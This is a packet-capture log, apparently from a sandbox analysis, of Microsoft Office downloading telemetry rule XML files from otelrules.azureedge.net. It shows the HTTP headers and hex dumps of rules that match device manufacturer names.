2024-11-12 16:07:23 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:23 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160723Z-16547b76f7f9rdn9hC1DFWfk7s0000000fvg00000000a6dt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:23 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:23 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:23 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 053649b2-001e-00ad-26a0-34554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160723Z-17df447cdb5vq4m4hC1DFW2t8w00000001kg000000003suh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:23 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:23 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 59c13bef-301e-0052-73a0-3465d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160723Z-15869dbbcc6zbpm7hC1DFWrv8n00000000g00000000012qv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:23 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160723Z-16547b76f7f9bs6dhC1DFWt3rg0000000ftg00000000hvy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:23 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160724Z-16547b76f7fvllnfhC1DFWxkg80000000fyg0000000075fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 84a9668d-801e-0078-5fa0-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160724Z-15869dbbcc6pfq2ghC1DFWh2wg00000001h000000000m35m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 9d8ed93b-d01e-00a1-36a7-3435b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160724Z-15869dbbcc6tjwwhhC1DFWn22800000009b00000000077p8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5ead3c92-b01e-0084-18a1-34d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160724Z-15869dbbcc6r45wghC1DFWk35n0000000360000000001pha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160725Z-16547b76f7fxsvjdhC1DFWprrs0000000fu00000000097wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 933b6e18-c01e-0079-6ca0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160725Z-15869dbbcc6kg5mvhC1DFW39vn000000066g00000000kbdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160725Z-16547b76f7fp46ndhC1DFW66zg0000000g00000000002c9v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160725Z-15869dbbcc6lq2lzhC1DFWs1sn00000001v000000000pbv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

